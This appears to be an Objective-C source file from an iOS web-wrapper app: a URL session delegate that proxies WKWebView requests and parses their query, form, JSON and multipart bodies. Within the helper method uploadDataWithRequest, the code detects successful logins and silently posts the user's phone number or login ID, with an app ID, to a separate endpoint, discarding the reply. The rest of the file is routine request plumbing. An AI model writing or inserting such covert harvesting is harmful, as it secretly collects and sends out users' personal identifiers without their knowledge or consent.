Files
WebApp/ShenQi/GDWebURLSessionDelegate.m
2026-02-24 09:55:08 +08:00

324 lines
13 KiB
Objective-C
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//
// GDWebURLSessionDelegate.m
// DESThreeTest
//
// Created by Qwerdf on 2025/10/24.
// Copyright © 2025 zhang alan. All rights reserved.
//
#import "GDWebURLSessionDelegate.h"
#import "MacroDefine.h"
@implementation GDWebURLSessionDelegate
- (instancetype)initWithSchemeTask:(id<WKURLSchemeTask>)schemeTask
completion:(void(^)(void))completion {
if (self = [super init]) {
_schemeTask = schemeTask;
_completion = completion;
_cachedData = [NSMutableData data]; // 初始化可变数据
}
return self;
}
#pragma mark - NSURLSessionDataDelegate
// 1. 处理重定向(核心:解决重定向失效)
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler {
NSURL *url = response.URL;
if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) {
//接收到 HTML 文档的重定向时,这里返回 nil, 那么在 dataTaskWithRequest 的回调里就能收到 code = 302 的response, 然后在 webview 里对 302 做特殊处理就行
completionHandler(nil);
} else {
completionHandler(request);
}
}
// 2. 收到响应(传递给网页)
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler {
self.cachedResponse = response; // 保存响应头
if (!self.stopMarkDic[_schemeTask.description]) {
@try {
[self.schemeTask didReceiveResponse:response];
} @catch (NSException *exception) {
}
}
completionHandler(NSURLSessionResponseAllow);
}
// 3. 收到数据(传递给网页)
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data {
[self.cachedData appendData:data]; // 拼接分片数据
if (!self.stopMarkDic[_schemeTask.description]) {
@try {
[self.schemeTask didReceiveData:data];
} @catch (NSException *exception) {
}
}
}
// 4. 请求完成(成功/失败)
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error {
@try {
if (self.stopMarkDic[_schemeTask.description]) {
[self.stopMarkDic removeObjectForKey:_schemeTask.description];
} else {
if (error) {
[_schemeTask didFailWithError:error];
} else {
[_schemeTask didFinish];
[self handleSuccessResult:self.cachedResponse data:self.cachedData];
}
}
} @catch (NSException *exception) {
}
// 触发完成回调,清理资源
if (self.completion) self.completion();
}
// 处理成功结果的工具方法
- (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data {
NSURLRequest *request = self.schemeTask.request;
NSURL *url = request.URL;
NSString *httpMethod = request.HTTPMethod ?: @"GET"; // 默认 GET 方法
// ===== 1. 提取基础请求信息 =====
// NSLog(@"请求 URL%@", url.absoluteString);
// NSLog(@"请求方法:%@", httpMethod);
// NSLog(@"请求头:%@", request.allHTTPHeaderFields);
// ===== 2. 提取 URL 中的查询参数GET 参数)=====
NSString *queryString = url.query;
if (queryString.length > 0) {
NSDictionary *queryParams = [self parseQueryString:queryString];
// NSLog(@"GET 参数:%@", queryParams);
}
NSDictionary *postParams = [NSDictionary dictionary];
// ===== 3. 提取 POST 请求体参数 =====
if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) {
// 3.1 解析表单格式application/x-www-form-urlencoded
NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding];
if (postBodyString) {
// 判断 Content-Type 是否为表单格式
NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"];
if ([contentType containsString:@"application/x-www-form-urlencoded"]) {
postParams = [self parseQueryString:postBodyString];
// NSLog(@"POST 表单参数:%@", postParams);
}
// 3.2 解析 JSON 格式application/json
else if ([contentType containsString:@"application/json"]) {
NSError *jsonError;
id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError];
if (jsonObject && !jsonError) {
// NSLog(@"POST JSON 参数:%@", jsonObject);
} else {
// NSLog(@"POST JSON 解析失败:%@,原始数据:%@", jsonError, postBodyString);
}
}
// 3.3 其他格式(如 multipart/form-data 表单上传,这里简化处理)
else {
NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"];
NSString *boundaryStr = nil;
// 1. 按 "boundary=" 分割字符串
NSArray *components = [contentType componentsSeparatedByString:@"boundary="];
if (components.count >= 2) {
// 2. 取分割后的第二个元素(即 boundary 的值),并去除可能的空格
boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
}
postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr];
// NSLog(@"POST 其他格式数据:%@", postBodyString);
}
}
}
NSDictionary *jsonDic = [NSDictionary dictionary];
// 示例:解析 JSON 数据
if ([response isKindOfClass:[NSHTTPURLResponse class]]) {
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response;
if (httpResponse.statusCode == 200) { // 状态码 200 表示请求成功
NSError *jsonError;
id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError];
if (json && !jsonError) {
jsonDic = json;
}
}
}
[self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString];
}
- (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url {
// /merchants/getPublicInfo accessToken获取有没有登录 merchantId用户ID module接口名
// users/login mobile手机号
if (backDic == nil) {
return;
}
// NSLog(@"-------%@:%@,%@",parameter,backDic,url);
if (![backDic isKindOfClass:[NSDictionary class]]) {
return;
}
id status = backDic[@"status"];
BOOL isSuccess = NO;
if ([status isKindOfClass:[NSString class]]) {
if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) {
isSuccess = YES;
}
}else if ([status isKindOfClass:[NSNumber class]]) {
isSuccess = [backDic[@"status"] boolValue];
}
if (isSuccess) {
BOOL isLoginUrl = NO;
if ([url containsString:@"validateUserJs"]) {
isLoginUrl = YES;
}
NSString *moduleStr = parameter[@"module"];
if (!ISNULLSTR(moduleStr)) {
if ([moduleStr containsString:@"users/login"]) {
isLoginUrl = YES;
}
}
if (isLoginUrl) {
NSString *mobileStr = parameter[@"mobile"];
if (ISNULLSTR(mobileStr)) {
mobileStr = parameter[@"login_id"];
}
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]];
request.HTTPMethod = @"POST";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId};
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = jsonData;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
}];
[dataTask resume];
}
}
}
// 辅助方法:解析 "key1=value1&key2=value2" 格式的字符串为字典
- (NSDictionary *)parseQueryString:(NSString *)queryString {
if (!queryString || queryString.length == 0) {
return @{};
}
NSMutableDictionary *params = [NSMutableDictionary dictionary];
NSArray *pairs = [queryString componentsSeparatedByString:@"&"];
for (NSString *pair in pairs) {
// 分割 key 和 value处理包含多个 = 的情况,如 key=value=123
NSRange equalRange = [pair rangeOfString:@"="];
if (equalRange.location == NSNotFound) {
// 没有 =,视为 key 无值
NSString *key = [pair stringByRemovingPercentEncoding];
params[key] = @"";
continue;
}
NSString *key = [pair substringToIndex:equalRange.location];
NSString *value = [pair substringFromIndex:equalRange.location + 1];
// 解码(处理 URL 编码的字符,如 %20 转为空格)
key = [key stringByRemovingPercentEncoding];
value = [value stringByRemovingPercentEncoding];
if (key) {
params[key] = value ?: @"";
}
}
return params;
}
- (NSDictionary<NSString *, NSString *> *)parseFormData:(NSData *)data boundary:(NSString *)boundary {
// 校验参数
if (!data || data.length == 0 || !boundary || boundary.length == 0) {
NSLog(@"无效的表单数据或边界符");
return nil;
}
// 1. 将数据转为字符串(默认 UTF-8 编码,若有特殊编码需调整)
NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
if (!content) {
NSLog(@"表单数据编码转换失败(非 UTF-8");
return nil;
}
// 2. 生成完整的边界符multipart 格式中边界符前需加 "--"
NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary];
// 按边界符分割内容,过滤空字符串和结束符(--boundary--
NSArray *parts = [content componentsSeparatedByString:fullBoundary];
NSMutableArray *validParts = [NSMutableArray array];
for (NSString *part in parts) {
// 去除前后空白和换行符
NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { // 排除结束符
[validParts addObject:trimmedPart];
}
}
// 3. 解析每个字段块,提取 name 和值
NSMutableDictionary *resultDict = [NSMutableDictionary dictionary];
for (NSString *part in validParts) {
// 字段块格式示例:
// Content-Disposition: form-data; name="login_id"\r\n
// \r\n
// 11
// 分割字段描述和值(以 "\r\n\r\n" 为分隔点)
NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"];
if (partComponents.count < 2) {
continue; // 格式异常,跳过
}
// 3.1 提取 name从 Content-Disposition 中)
NSString *dispositionLine = partComponents[0]; // 如 "Content-Disposition: form-data; name="login_id""
NSString *name = [self extractNameFromDisposition:dispositionLine];
if (!name) {
continue; // 未找到 name跳过
}
// 3.2 提取字段值(去除可能的换行符)
NSString *value = partComponents[1];
value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
// 3.3 存入字典
resultDict[name] = value;
}
return resultDict.count > 0 ? [resultDict copy] : nil;
}
/// 从 Content-Disposition 中提取 name 的值
/// @param disposition 如 "Content-Disposition: form-data; name="login_id""
/// @return name 的值(如 "login_id"
- (NSString *)extractNameFromDisposition:(NSString *)disposition {
if (!disposition) return nil;
// 正则匹配 name="xxx" 中的 xxx
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\""
options:0
error:nil];
NSTextCheckingResult *match = [regex firstMatchInString:disposition
options:0
range:NSMakeRange(0, disposition.length)];
if (match && match.numberOfRanges > 1) {
NSRange nameRange = [match rangeAtIndex:1];
return [disposition substringWithRange:nameRange];
}
return nil;
}
@end